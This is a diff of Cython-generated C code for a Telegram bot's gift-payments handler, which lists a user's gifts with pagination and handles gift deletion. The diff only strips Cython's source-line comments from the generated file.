PyErr_SetNone(PyExc_StopIteration); @@ -5107,13 +4886,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): - * """ ' '. .""" - */ static PyObject *__pyx_pf_8handlers_8payments_4gift_23__defaults__(CYTHON_UNUSED PyObject *__pyx_self) { PyObject *__pyx_r = NULL; @@ -5365,13 +5137,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 60, __pyx_L1_error) - /* "handlers/payments/gift.py":64 - * """ ' '. .""" - * - * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< - * - * gifts = await session.fetch( - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) @@ -5381,23 +5146,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":66 - * user_tg_id = callback_query.from_user.id - * - * gifts = await session.fetch( # <<<<<<<<<<<<<< - * """ - * SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id, gift_link - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/gift.py":72 - * WHERE sender_tg_id = $1 - * """, - * user_tg_id, # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS @@ -5442,24 +5193,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_gifts = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":75 - * ) - * - * if not gifts: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - */ __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gifts); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 75, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - /* "handlers/payments/gift.py":76 - * - * if not gifts: - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; @@ -5488,13 +5225,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":77 - * if not gifts: - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) # <<<<<<<<<<<<<< - * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) - * return - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) @@ -5538,13 +5268,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":78 - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) @@ -5602,33 +5325,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } } - /* "handlers/payments/gift.py":79 - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) - * return # <<<<<<<<<<<<<< - * - * start = current_page * GIFTS_PER_PAGE - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/gift.py":75 - * ) - * - * if not gifts: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - */ } - /* "handlers/payments/gift.py":81 - * return - * - * start = current_page * GIFTS_PER_PAGE # <<<<<<<<<<<<<< - * end = start + GIFTS_PER_PAGE - * gifts_page = gifts[start:end] - */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_2 = PyNumber_Multiply(__pyx_cur_scope->__pyx_v_current_page, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 81, __pyx_L1_error) @@ -5638,13 +5340,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_start = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":82 - * - * start = current_page * GIFTS_PER_PAGE - * end = start + GIFTS_PER_PAGE # <<<<<<<<<<<<<< - * gifts_page = gifts[start:end] - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = PyNumber_Add(__pyx_cur_scope->__pyx_v_start, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 82, __pyx_L1_error) @@ -5654,37 +5349,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_end = __pyx_t_8; __pyx_t_8 = 0; - /* "handlers/payments/gift.py":83 - * start = current_page * GIFTS_PER_PAGE - * end = start + GIFTS_PER_PAGE - * gifts_page = gifts[start:end] # <<<<<<<<<<<<<< - * - * gifts_text = " :\n\n" - */ __pyx_t_8 = __Pyx_PyObject_GetSlice(__pyx_cur_scope->__pyx_v_gifts, 0, 0, &__pyx_cur_scope->__pyx_v_start, &__pyx_cur_scope->__pyx_v_end, NULL, 0, 0, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_8); __pyx_cur_scope->__pyx_v_gifts_page = __pyx_t_8; __pyx_t_8 = 0; - /* "handlers/payments/gift.py":85 - * gifts_page = gifts[start:end] - * - * gifts_text = " :\n\n" # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * - */ __Pyx_INCREF(__pyx_kp_u_b_b); __Pyx_GIVEREF(__pyx_kp_u_b_b); __pyx_cur_scope->__pyx_v_gifts_text = __pyx_kp_u_b_b; - /* "handlers/payments/gift.py":86 - * - * gifts_text = " :\n\n" - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * - * for gift in gifts_page: - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; @@ -5713,13 +5387,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_builder = __pyx_t_8; __pyx_t_8 = 0; - /* "handlers/payments/gift.py":88 - * builder = InlineKeyboardBuilder() - * - * for gift in gifts_page: # <<<<<<<<<<<<<< - * months = gift['selected_months'] - * months_text = ( - */ if (likely(PyList_CheckExact(__pyx_cur_scope->__pyx_v_gifts_page)) || PyTuple_CheckExact(__pyx_cur_scope->__pyx_v_gifts_page)) { __pyx_t_8 = __pyx_cur_scope->__pyx_v_gifts_page; __Pyx_INCREF(__pyx_t_8); __pyx_t_9 = 0; @@ -5777,13 +5444,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":89 - * - * for gift in gifts_page: - * months = gift['selected_months'] # <<<<<<<<<<<<<< - * months_text = ( - * "" if months == 1 else "" if 2 <= months <= 4 else "" - */ __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); @@ -5791,13 +5451,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":91 - * months = gift['selected_months'] - * months_text = ( - * "" if months == 1 else "" if 2 <= months <= 4 else "" # <<<<<<<<<<<<<< - * ) - * is_used = "" if gift['is_used'] else "" - */ __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_months, __pyx_int_1, 1, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 91, __pyx_L1_error) if (__pyx_t_6) { __Pyx_INCREF(__pyx_n_u__7); @@ -5825,13 +5478,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":93 - * "" if months == 1 else "" if 2 <= months <= 4 else "" - * ) - * is_used = "" if gift['is_used'] else "" # <<<<<<<<<<<<<< - * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " - * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") - */ __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_is_used); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 93, __pyx_L1_error) @@ -5848,13 +5494,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":94 - * ) - * is_used = "" if gift['is_used'] else "" - * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " # <<<<<<<<<<<<<< - * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") - * gift_link = gift['gift_link'] - */ __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 94, __pyx_L1_error) @@ -5873,13 +5512,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":95 - * is_used = "" if gift['is_used'] else "" - * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " - * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") # <<<<<<<<<<<<<< - * gift_link = gift['gift_link'] - * gift_id = gift['gift_id'] - */ __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_strftime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) @@ -5912,13 +5544,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":96 - * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " - * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") - * gift_link = gift['gift_link'] # <<<<<<<<<<<<<< - * gift_id = gift['gift_id'] - * - */ __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift_link); @@ -5926,13 +5551,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":97 - * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") - * gift_link = gift['gift_link'] - * gift_id = gift['gift_id'] # <<<<<<<<<<<<<< - * - * gifts_text += GIFTS_TEXT_TEMPLATE.format( - */ __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift_id); @@ -5940,82 +5558,26 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":99 - * gift_id = gift['gift_id'] - * - * gifts_text += GIFTS_TEXT_TEMPLATE.format( # <<<<<<<<<<<<<< - * months=months, - * months_text=months_text, - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":100 - * - * gifts_text += GIFTS_TEXT_TEMPLATE.format( - * months=months, # <<<<<<<<<<<<<< - * months_text=months_text, - * expiry_time=expiry_time, - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_months) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":101 - * gifts_text += GIFTS_TEXT_TEMPLATE.format( - * months=months, - * months_text=months_text, # <<<<<<<<<<<<<< - * expiry_time=expiry_time, - * recipient=recipient, - */ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":102 - * months=months, - * months_text=months_text, - * expiry_time=expiry_time, # <<<<<<<<<<<<<< - * recipient=recipient, - * is_used=is_used, - */ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_expiry_time, __pyx_cur_scope->__pyx_v_expiry_time) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":103 - * months_text=months_text, - * expiry_time=expiry_time, - * recipient=recipient, # <<<<<<<<<<<<<< - * is_used=is_used, - * gift_link=gift_link, - */ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_recipient, __pyx_cur_scope->__pyx_v_recipient) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":104 - * expiry_time=expiry_time, - * recipient=recipient, - * is_used=is_used, # <<<<<<<<<<<<<< - * gift_link=gift_link, - * ) - */ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_is_used, __pyx_cur_scope->__pyx_v_is_used) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":105 - * recipient=recipient, - * is_used=is_used, - * gift_link=gift_link, # <<<<<<<<<<<<<< - * ) - * - */ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - /* "handlers/payments/gift.py":99 - * gift_id = gift['gift_id'] - * - * gifts_text += GIFTS_TEXT_TEMPLATE.format( # <<<<<<<<<<<<<< - * months=months, - * months_text=months_text, - */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -6028,36 +5590,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":108 - * ) - * - * builder.row( # <<<<<<<<<<<<<< - * types.InlineKeyboardButton( - * text=f" ( {expiry_time})", callback_data=f"delete_gift|{gift_id}|{current_page}" - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/gift.py":109 - * - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=f" ( {expiry_time})", callback_data=f"delete_gift|{gift_id}|{current_page}" - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":110 - * builder.row( - * types.InlineKeyboardButton( - * text=f" ( {expiry_time})", callback_data=f"delete_gift|{gift_id}|{current_page}" # <<<<<<<<<<<<<< - * ) - * ) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 110, __pyx_L1_error) @@ -6117,13 +5658,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/gift.py":109 - * - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=f" ( {expiry_time})", callback_data=f"delete_gift|{gift_id}|{current_page}" - * ) - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; @@ -6153,35 +5687,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":88 - * builder = InlineKeyboardBuilder() - * - * for gift in gifts_page: # <<<<<<<<<<<<<< - * months = gift['selected_months'] - * months_text = ( - */ } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/gift.py":114 - * ) - * - * if current_page > 0: # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) - * if end < len(gifts): - */ __pyx_t_8 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_0, Py_GT); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_8); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":115 - * - * if current_page > 0: - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) # <<<<<<<<<<<<<< - * if end < len(gifts): - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page + 1}")) - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) @@ -6231,22 +5744,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/gift.py":114 - * ) - * - * if current_page > 0: # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) - * if end < len(gifts): - */ } - /* "handlers/payments/gift.py":116 - * if current_page > 0: - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) - * if end < len(gifts): # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page + 1}")) - * - */ __pyx_t_9 = PyObject_Length(__pyx_cur_scope->__pyx_v_gifts); if (unlikely(__pyx_t_9 == ((Py_ssize_t)-1))) __PYX_ERR(0, 116, __pyx_L1_error) __pyx_t_8 = PyInt_FromSsize_t(__pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); @@ -6256,13 +5755,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":117 - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) - * if end < len(gifts): - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page + 1}")) # <<<<<<<<<<<<<< - * - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) @@ -6312,22 +5804,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":116 - * if current_page > 0: - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page - 1}")) - * if end < len(gifts): # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page + 1}")) - * - */ } - /* "handlers/payments/gift.py":119 - * builder.row(types.InlineKeyboardButton(text=" ", callback_data=f"my_gifts|{current_page + 1}")) - * - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer(text=gifts_text, reply_markup=builder.as_markup()) - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_types); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 119, __pyx_L1_error) @@ -6371,13 +5849,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":121 - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="gifts")) - * - * await callback_query.message.answer(text=gifts_text, reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 121, __pyx_L1_error) @@ -6437,13 +5908,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): - * """ ' '. .""" - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -6470,13 +5934,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":124 - * - * - * @router.callback_query(F.data.startswith("delete_gift|")) # <<<<<<<<<<<<<< - * async def delete_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_7delete_gift_handler(PyObject *__pyx_self, @@ -6657,13 +6114,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 124, __pyx_L1_error) - /* "handlers/payments/gift.py":128 - * """ .""" - * - * data = callback_query.data.split("|") # <<<<<<<<<<<<<< - * gift_id = data[1] - * current_page = int(data[2]) if len(data) > 2 and data[2].isdigit() else 0 - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) 